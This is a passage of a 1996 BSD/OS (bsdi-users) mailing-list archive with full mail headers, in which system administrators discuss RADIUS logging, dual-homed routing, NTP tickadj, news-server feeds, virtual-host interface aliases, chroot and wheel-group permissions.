mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Mon Nov 25 20:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["682" "" "25" "November" "1996" "22:07:34" "GMT" "Craig Thompson" "CRAIG@wingnet.net" nil "16" "Re: radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07386 for ; Mon, 25 Nov 1996 19:04:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA13591 for bsdi-users-outgoing; Mon, 25 Nov 1996 18:54:37 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: WingNET Internet Services Lines: 16 Message-ID: <57d5b7$7ra@eirene.wingnet.net> References: NNTP-Posting-Host: makrothumia.wingnet.net Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.7 Precedence: bulk From: CRAIG@wingnet.net (Craig Thompson) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: radius 1.16 and US Robotics modems Date: 25 Nov 1996 22:07:34 GMT In article , edwin@tcs.tcsourceone.com says... >I am trying to get the accounting/logging portion of Radius 1.16 (from >Livingston) working. I have a USR Netserver16 and a Netserver Total >Control Chassis. The password authentication is working fine, but I can't >get the logging feature to work. I'm having some difficulties getting NetServer/16s here currently. There's a setting for Radius Auth. host address and a setting for Radius Accounting host address. There's also a syslog address setting for authinfo style logging. I believe you have to create a file/directory for the latter. Hope it helps. From VM Mon Nov 25 20:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1121" "Mon" "25" "November" "1996" "16:15:27" "-0800" "Armando Escalante" "armando@tio.com" nil "42" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07391 for ; Mon, 25 Nov 1996 19:04:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA13614 for bsdi-users-outgoing; Mon, 25 Nov 1996 19:03:56 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Armando Escalante Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Mon, 25 Nov 1996 16:15:27 -0800 (PST) Does any one know or care to comment on having one route for ALL incomming traffic and A DIFFERENT one for ALL OUTgoing traffic? Say you have 2 providers but do not have: ASN or Portable IP's of $$ to get a big Router or all the tech. knowhow to set them up, could a easy way to split the load (and improve performance) be having one in and one as default route out? Kind'a sounds resonable? Thanks On Tue, 5 Nov 1996, Armando Escalante wrote: > Hi All, > > I know this is not the correct list, but maybe someone can point me in the > right direction... > > I have a CISCO router w/2 Serial ports will add second T1 line to it. > > Second T1 will come with new Class C's. > > First T1 with initial class C's will go away after a while... > > Question: How can I keep both lines and do proper Routing? > > Class C's are not mine but upstream providers. > > First T1 would provide NEWS access and I would like to use as a BACKUP of > the second T1 only, unless a flexible routing plan can be installed. > > Can it be done with existing router? If so, how? > > Many thanks in advance! > Armando > > From VM Mon Nov 25 20:56:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["764" "Mon" "25" "November" "1996" "17:25:46" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "25" "Re: Where do you get tickadj ??? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA08222 for ; Mon, 25 Nov 1996 19:34:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA13659 for bsdi-users-outgoing; Mon, 25 Nov 1996 19:26:06 -0500 (EST) Message-Id: <199611260025.RAA09381@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Mon, 25 Nov 1996 14:48:48 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier cc: "David A. Lee" , bsdi-users@BSDI.COM, billn@tao.bsdi.com Subject: Re: Where do you get tickadj ??? Date: Mon, 25 Nov 1996 17:25:46 -0700 Mike Pelletier writes: >On Mon, 25 Nov 1996, David A. Lee wrote: > >> Where do you find tickadj ??? I cant find it anywhere on my BSDI2.1 system. >> -David Lee >> dave@calldei.com > >BSDI uses the 3.4 version of NTP, which doesn't include tickadj. I got it >from the 3.5f distribution, at http://www.eecis.udel.edu/~ntp/. Note that >so far, the 3.5f version of xntpd doesn't run due to a segmentation >violation in the results of getifaddrs() which I'm working on debugging >now, so I'm running 3.5f ntpdate and tickadj, and 3.4 xntpd. > > -Mike Pelletier. > > I am running the xntpd distributed with BSD/OS 2.1. I can't find any info on tickadj, but xntpd knows about it Nov 22 14:40:58 xxx xntpd[102]: tickadj = 5, tick = 10000, tvu_maxslew = 495 -Bill N From VM Mon Nov 25 20:56:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["877" "Mon" "25" "November" "1996" "19:59:39" "-0500" "Otis Gospodnetic" "otisg@panther.middlebury.edu" nil "29" "Re: Search Engine for Web Development?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09061 for ; Mon, 25 Nov 1996 20:07:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA13789 for bsdi-users-outgoing; Mon, 25 Nov 1996 20:06:44 -0500 (EST) Message-Id: <9611260059.AA127936@panther.middlebury.edu> In-Reply-To: from "System Administration" at Nov 25, 96 11:55:20 am X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: otisg@panther.middlebury.edu (Otis Gospodnetic) Sender: owner-bsdi-users@lists.gateway.com To: sysadmin@ns1.infocomm.net (System Administration) Cc: bsdi-users@BSDI.COM Subject: Re: Search Engine for Web Development? Date: Mon, 25 Nov 1996 19:59:39 -0500 (EST) try Texis, a database by a company called Thunderstorm or something like that. You can also use Postgres95 for free, miniSQL for a few hundred bux, various WAIS things, etc. Otis > > > Hi, all. I know I've seen this on the list, but can't find it in the > archive. > > Recommendations, please, for a search engine for BSDI 2.0 that can be > used for word searches of databases under web sites? NCSA server, if it > makes a difference. > > Thanks!! > > Glenn. > +--------------------------------------------------------------+ > | System Administration InfoComm Network Services, Inc. | > | sysadmin@infocomm.net (410) 296-5005 (f) (410) 821-1376 | > +--------------------------------------------------------------+ > -- eZines Database - eBooks Dominis Bookstore - From VM Mon Nov 25 20:56:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1230" "Tue" "26" "November" "1996" "12:00:33" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "26" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09066 for ; Mon, 25 Nov 1996 20:09:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA13757 for bsdi-users-outgoing; Mon, 25 Nov 1996 20:01:34 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante cc: bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Tue, 26 Nov 1996 12:00:33 +1100 (EST) > Does any one know or care to comment on having one route for ALL incomming > traffic and A DIFFERENT one for ALL OUTgoing traffic? > > Say you have 2 providers but do not have: ASN or Portable IP's of $$ to > get a big Router or all the tech. knowhow to set them up, could a easy way > to split the load (and improve performance) be having one in and one as > default route out? Kind'a sounds resonable? Ummm.... most links have equal bandwidth in and out. If you had all INCOMMING traffic down one link (if you have no money, lets say a 64K link), and all OUTGOING traffic going down another, say 64K also, all you end up with is a link using only its RX capacity (64K) in, and another using only its TX capacity (64K) out, net result, a composite 128K in+out, where you have two links capable of 64K in + 64K out each, ( ie, 2 * (64+64) = 256K). *I* would like to know of an easy and inexpensive way to use 128K to my primary uplink, PLUS an additional 64K to a secondary source, and have traffic spread over the two. The problem I see, is that the routes TO my box need to be seen as two completely different routes to the same IP address, and these are routers I have absolutely no control over :-( RossW From VM Mon Nov 25 20:56:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1687" "Tue" "26" "November" "1996" "02:15:42" "+0100" "david@isdnet.net" "david@isdnet.net" nil "46" "Re: INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09606 for ; Mon, 25 Nov 1996 20:26:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA13847 for bsdi-users-outgoing; Mon, 25 Nov 1996 20:21:31 -0500 (EST) Message-Id: <199611260115.CAA22108@emma.isdnet.net> In-Reply-To: <199611222146.WAA24632@velo.pp.vix.com> from "James A. Brister" at Nov 22, 96 10:45:43 pm X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: brister@vix.com (James A. Brister) Cc: blast@broder.com, david@isdnet.net, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 02:15:42 +0100 (MET) > David Ponzone wrote: > > > BTW, I know that I am not on the INN Mailing-list, but I'd like to have > > BSD/OS users' opinion : would I have to upgrade to 1.4unoff4 ? > > There is no general inn mailing list (well, none run by me, or that > I'm a part of), all discussion happens in news.software.nntp (sort > of like using email to talk about sendmail, I suppose). I recommend > 1.4unoff4 at a minimum. The INN that comes with BSD/OS is pre-unoff4, I > forget the details, but they've done various unoff4-like things to it. > If you're happy with what you've got, no need to change, unless you like to > be on the bleeding edge... I was almost happy with it, until I discovered that my main news server seems unable to feed at full speed and easily my news server 2, over Ethernet. (both are 128MB memory, 2940UW SCSI, 2Gb for history, 4GB for alt.binaries, 4GB for all other groups). I use nntplink in stdin mode. Actually, it seems to work well, until some articles are apparently not sent as I find them in batchfiles in /var/news/spool/out.going. My newsfeed entry is: news2.isdnet.net\ :!junk,control\ :Tc,WnR:/usr/local/news/bin/nntplink -i stdin -x -k -q news2.isdnet.net (News2 is in slave mode, so I use XREPLIC to feed it). Did I miss sthg ? Is there a way to get a speed feed over Ethernet, as I was expecting to have ? Once again, If the way is to upgrade to inn1.4unoff4 or 1.5b2, I'd like to know but as those servers are operational, I'd like to avoid most useless changings on them. TIA. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Tue Nov 26 22:53:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1053" "Mon" "25" "November" "1996" "20:42:31" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "24" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10151 for ; Mon, 25 Nov 1996 20:51:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA13928 for bsdi-users-outgoing; Mon, 25 Nov 1996 20:42:52 -0500 (EST) X-Authentication-Warning: black-ice.gateway.com: abc owned process doing -bs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 20:42:31 -0500 (EST) Everyone keeps talking about a full news feed. I have a full (virtual) news feed available to all my users via NNTPCACHE. The cache server runs right alongside a web server, user logins, etc etc etc.. on a 486/100 with an 800Mb drive. If you have a nice upstream site that is willing to cut their server load and your bandwidth load, check out nntpcache from ftp.nntpcache.org (ftp.suburbia.net) today. Version 1.0.1 builds directly on BSD/OS 2.1 and works GREAT. [PS, there are services out there that allow people to 'read' from their full feeds, right? Just buy service from one of them, get a caching server and point it that way... Voila, virtual full news feed] It rocks, saves hardware, and saves bandwidth. It is *NOT* freeware, however (but the price is low). -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Tue Nov 26 22:53:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["172" "Mon" "25" "November" "1996" "17:54" "PST" "Randy Bush" "randy@psg.com" nil "7" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA10425 for ; Mon, 25 Nov 1996 20:56:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA13984 for bsdi-users-outgoing; Mon, 25 Nov 1996 20:54:37 -0500 (EST) Message-Id: References: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante Cc: BSDI users list Subject: Re: Poor's man Dual Homming?? Date: Mon, 25 Nov 96 17:54 PST > Does any one know or care to comment on having one route for ALL incomming > traffic and A DIFFERENT one for ALL OUTgoing traffic? You can't do this with BSDI! randy From VM Tue Nov 26 22:53:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1048" "Mon" "25" "November" "1996" "21:06:32" "-0500" "Brian Beaulieu" "brian@capecod.net" nil "27" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA10721 for ; Mon, 25 Nov 1996 21:10:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA14019 for bsdi-users-outgoing; Mon, 25 Nov 1996 21:07:06 -0500 (EST) Message-Id: <199611260206.VAA24598@mailhost.capecod.net> X-Sender: bhome@204.255.214.5 X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Beaulieu Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Mon, 25 Nov 1996 21:06:32 -0500 (EST) At 04:15 PM 11/25/96 -0800, you wrote: > > >Does any one know or care to comment on having one route for ALL incomming >traffic and A DIFFERENT one for ALL OUTgoing traffic? > >Say you have 2 providers but do not have: ASN or Portable IP's of $$ to >get a big Router or all the tech. knowhow to set them up, could a easy way >to split the load (and improve performance) be having one in and one as >default route out? Kind'a sounds resonable? We're in the process of revising our routing. We've added another T1, on a seperate Cisco 2501, that goes directly to our news provider.. It's our secondary T1. At the moment, it only handles one route, and hat's news. We're going to be doing BGP routing with them, which means getting an entire network of new class C's. BGP is not exactly load balancing, but more of smart routing... you may want to look into it. Brian ---------------------------------- CAPE Internet System Administrator http://www.capecod.net http://despair.capecod.net brian@capedcod.net ---------------------------------- From VM Tue Nov 26 22:54:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1955" "Mon" "25" "November" "1996" "22:10:06" "-0500" "Sam Brown" "root@ns2.clever.net" nil "58" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12901 for ; Mon, 25 Nov 1996 22:27:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA14186 for bsdi-users-outgoing; Mon, 25 Nov 1996 22:14:35 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante cc: bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Mon, 25 Nov 1996 22:10:06 -0500 (EST) Cisco's (ie 2501) will do per destination load balancing by placing a default 0.0.0.0 route to both interfaces. The isp will do the same. This load balancing is asymetric however for the most part is efficient enough. Mind you a 2501 doing this at max load will max out the little box, so if any other routing (bgp,ospf) is going on,you may experience cpu problems. I am not sure how the bsdi box would do dual default routes, i'd like to hear if someone has a solution, or if gated handles this in the same manner. I can tell you the 25xx boxes can not do per packet load balancing because the cpu is not powerful enough. If anyone has done static route dual-homing(rough term) with bsdi. Share :) On Mon, 25 Nov 1996, Armando Escalante wrote: > > > Does any one know or care to comment on having one route for ALL incomming > traffic and A DIFFERENT one for ALL OUTgoing traffic? > > Say you have 2 providers but do not have: ASN or Portable IP's of $$ to > get a big Router or all the tech. knowhow to set them up, could a easy way > to split the load (and improve performance) be having one in and one as > default route out? Kind'a sounds resonable? > > Thanks > > > > On Tue, 5 Nov 1996, Armando Escalante wrote: > > > Hi All, > > > > I know this is not the correct list, but maybe someone can point me in the > > right direction... > > > > I have a CISCO router w/2 Serial ports will add second T1 line to it. > > > > Second T1 will come with new Class C's. > > > > First T1 with initial class C's will go away after a while... > > > > Question: How can I keep both lines and do proper Routing? > > > > Class C's are not mine but upstream providers. > > > > First T1 would provide NEWS access and I would like to use as a BACKUP of > > the second T1 only, unless a flexible routing plan can be installed. > > > > Can it be done with existing router? If so, how? > > > > Many thanks in advance! > > Armando > > > > > > From VM Tue Nov 26 22:54:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["218" "Mon" "25" "November" "1996" "21:42:12" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "6" "rights" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12906 for ; Mon, 25 Nov 1996 22:27:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA14218 for bsdi-users-outgoing; Mon, 25 Nov 1996 22:26:02 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: rights Date: Mon, 25 Nov 1996 21:42:12 -0500 (EST) I set up a user "helen" and put myself in the wheel group, after I was originally "hbirkmann" and equivalent to root. I can't issue any root commands however as helen, simple stuff such as chown, vmstat. Any ideas? From VM Tue Nov 26 22:54:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1120" "Mon" "25" "November" "1996" "21:19:39" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "45" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12913 for ; Mon, 25 Nov 1996 22:30:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA14212 for bsdi-users-outgoing; Mon, 25 Nov 1996 22:25:44 -0500 (EST) In-Reply-To: <199611252220.RAA09498@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Mon, 25 Nov 1996 21:19:39 -0500 (EST) Hi, I manually configure my virtual hosts as follows: for a virtual host by the name of bbcenter.org whose assigned permanent IP address is 204.80.232.91, I type: ifconfig lo0 alias 204.80.232.91 Now I originally put the permanent configuration into the netstart file underneath the line that says "list additional interfaces after this point", but that was not correct. They did not load. Now since I have put my virtual host list at the bottom of the netstart file and they all come up after reboot. On Mon, 25 Nov 1996, Jim Cassata wrote: > Hello everyone, > A while back I asked how do you configure virtual hosts and specifically > netstart without rebooting for the changes to take effect. Everyone's > reply was key the netstart entries at the command line. I did. > I typed the following: > > ifconfig ne0 205.230.175.24 alias > > and got: > > ifconfig: ioctl (SIOCAIFADDR): File exists > > What did I do wrong?? > > TIA > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Tue Nov 26 22:54:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["530" "Mon" "25" "November" "1996" "22:48:42" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "15" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13462 for ; Mon, 25 Nov 1996 22:53:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA14319 for bsdi-users-outgoing; Mon, 25 Nov 1996 22:49:05 -0500 (EST) In-Reply-To: <199611211907.LAA16279@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, steve@prd.co.uk, webb@Telebit.COM Subject: Re: samba + WfWG3.11 Date: Mon, 25 Nov 1996 22:48:42 -0500 (EST) > Given that when I was at IBM 10 years ago we had a way of avoiding > putting any machine or site-specific information into /etc/rc* and > /etc/netstart (we used the file /etc/rc.config to hold machine and > site-specific information) its a shame that BSDI won't do something > similar or at least use "gpatch" to update /etc/rc so local changes > aren't lost but the new sections do get added. Hey Bill, why not put machine- and site-specific stuff into rc.local? Look at /etc/rc. The last line is sh /etc/rc.local Ralph From VM Tue Nov 26 22:54:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["268" "Mon" "25" "November" "1996" "23:26:22" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "13" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA14572 for ; Mon, 25 Nov 1996 23:32:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA14393 for bsdi-users-outgoing; Mon, 25 Nov 1996 23:26:35 -0500 (EST) In-Reply-To: <199611252220.RAA09498@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Mon, 25 Nov 1996 23:26:22 -0500 (EST) > I typed the following: > ifconfig ne0 205.230.175.24 alias > and got: > ifconfig: ioctl (SIOCAIFADDR): File exists > > What did I do wrong?? You didn't do anything wrong. You get 'File exists' because the device already has been configured. It's okay. - Ralph From VM Tue Nov 26 22:54:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["201" "" "26" "November" "1996" "00:00:02" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "6" "Re: Search Engine for Web Development?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA15114 for ; Mon, 25 Nov 1996 23:57:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA14465 for bsdi-users-outgoing; Tue, 26 Nov 1996 00:00:21 -0500 (EST) References: <9611260059.AA127936@panther.middlebury.edu> In-Reply-To: otisg@panther.middlebury.edu's message of Mon, 25 Nov 1996 19:59:39 -0500 (EST) Message-ID: Lines: 5 X-Mailer: Red Gnus v0.70/XEmacs 19.14 Precedence: bulk From: jason@mastaler.com (Jason R. Mastaler) Sender: owner-bsdi-users@lists.gateway.com To: sysadmin@ns1.infocomm.net, bsdi-users@BSDI.COM Subject: Re: Search Engine for Web Development? Date: 26 Nov 1996 00:00:02 -0500 I highly recommend Excite for Web Servers (EWS). Version 1.0 of the software is available now for BSD/OS with version 1.1 avilable at the end of this month. http://www.excite.com/navigate/home.html From VM Tue Nov 26 22:54:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2150" "Tue" "26" "November" "1996" "15:24:58" "+1030" "David Newall" "davidn@rebel.net.au" nil "39" "Re: Chroot Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA15119 for ; Mon, 25 Nov 1996 23:58:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA14435 for bsdi-users-outgoing; Mon, 25 Nov 1996 23:56:09 -0500 (EST) Message-Id: <199611260454.PAA08509@rebel.net.au> In-Reply-To: from "Wong, Douglas L. - Internet" at Nov 25, 96 11:20:53 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: dwong@pacent.com (Wong Douglas L. - Internet) Cc: bsdi-users@BSDI.COM Subject: Re: Chroot Question Date: Tue, 26 Nov 1996 15:24:58 +1030 (CST) Wong, Douglas L. - Internet wrote: > Can someone clairify the purpose of the chroot command. "chroot changes the root directory for a process to a new directory executes a program there." -- man 8 chroot (linux) Which is to say that all of the remainder of your filesystem disappear from the chroot-ed process; that process has no /bin, no /usr, no /tmp, in fact nothing except those files and directories which you create in it's new root directory. If you want it to be able to do anything useful you'll need to copy (or hard link) the files to the new root directory. And if you'll want the process to look like it's running on a real Unix system you'll have to create a /bin, a /usr, a /tmp, in fact almost all of the directories, and the files within those directories, that anyone would reasonably expect to find. Might I suggest that Unix is not a MS-DOS based bulletin board? If you think that letting people see your root directory, letting them see all of the operating system files, is inherently insecure then you're thinking like a DOS based BBS operator. Unix, properly administered, is much more secure than I think DOS ever will be. Trust it and trust yourself. To specifically answer your question: chroot is intended to provide a subset of the filesystem from which a process has no way of escaping. Applications which rely on chroot must be carefully constructed so as to NOT need "everything", and setting up those applications requires careful understanding of exactly what files must be present. For example you probably need to create a /etc and place limited passwd and group files within. You probably need to create a /bin, and maybe place sh, and ls within. You probably need to create a /usr and a /tmp and a /usr/bin. You surely will need a /dev with a /dev/tty, /dev/null, oh too many things to say here and now. There's little that can be said, in a general sense, except that you need to create the files and directories that your application needs. And, of course, chroot is probably a poor substitute for real security. [Standard disclaimer: These are my private opinions] From VM Tue Nov 26 22:54:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["489" "Mon" "25" "November" "1996" "19:13:41" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "21" "Re: rights" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15682 for ; Tue, 26 Nov 1996 00:15:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA14503 for bsdi-users-outgoing; Tue, 26 Nov 1996 00:11:19 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Helen Birkmann cc: bsdi-users@BSDI.COM Subject: Re: rights Date: Mon, 25 Nov 1996 19:13:41 -1000 (HST) On Mon, 25 Nov 1996, Helen Birkmann wrote: > > I set up a user "helen" and put myself in the wheel group, after I > was originally "hbirkmann" and equivalent to root. > I can't issue any root commands however as helen, simple stuff > such as chown, vmstat. Any ideas? Check group perms... Like we had people on wheel and they couldn't use telnet ... until we changed perms on services to 644 (was 604) owner root group wheel ... Check and see... -- Aloha from Paradise, Sherwood From VM Tue Nov 26 22:54:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1163" "Tue" "26" "November" "1996" "00:48:20" "-0500" "John G. Scudder" "jgs@ieng.com" nil "27" "Re: Poor's man Dual Homming??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA16782 for ; Tue, 26 Nov 1996 00:52:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA14594 for bsdi-users-outgoing; Tue, 26 Nov 1996 00:48:43 -0500 (EST) Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "John G. Scudder" Sender: 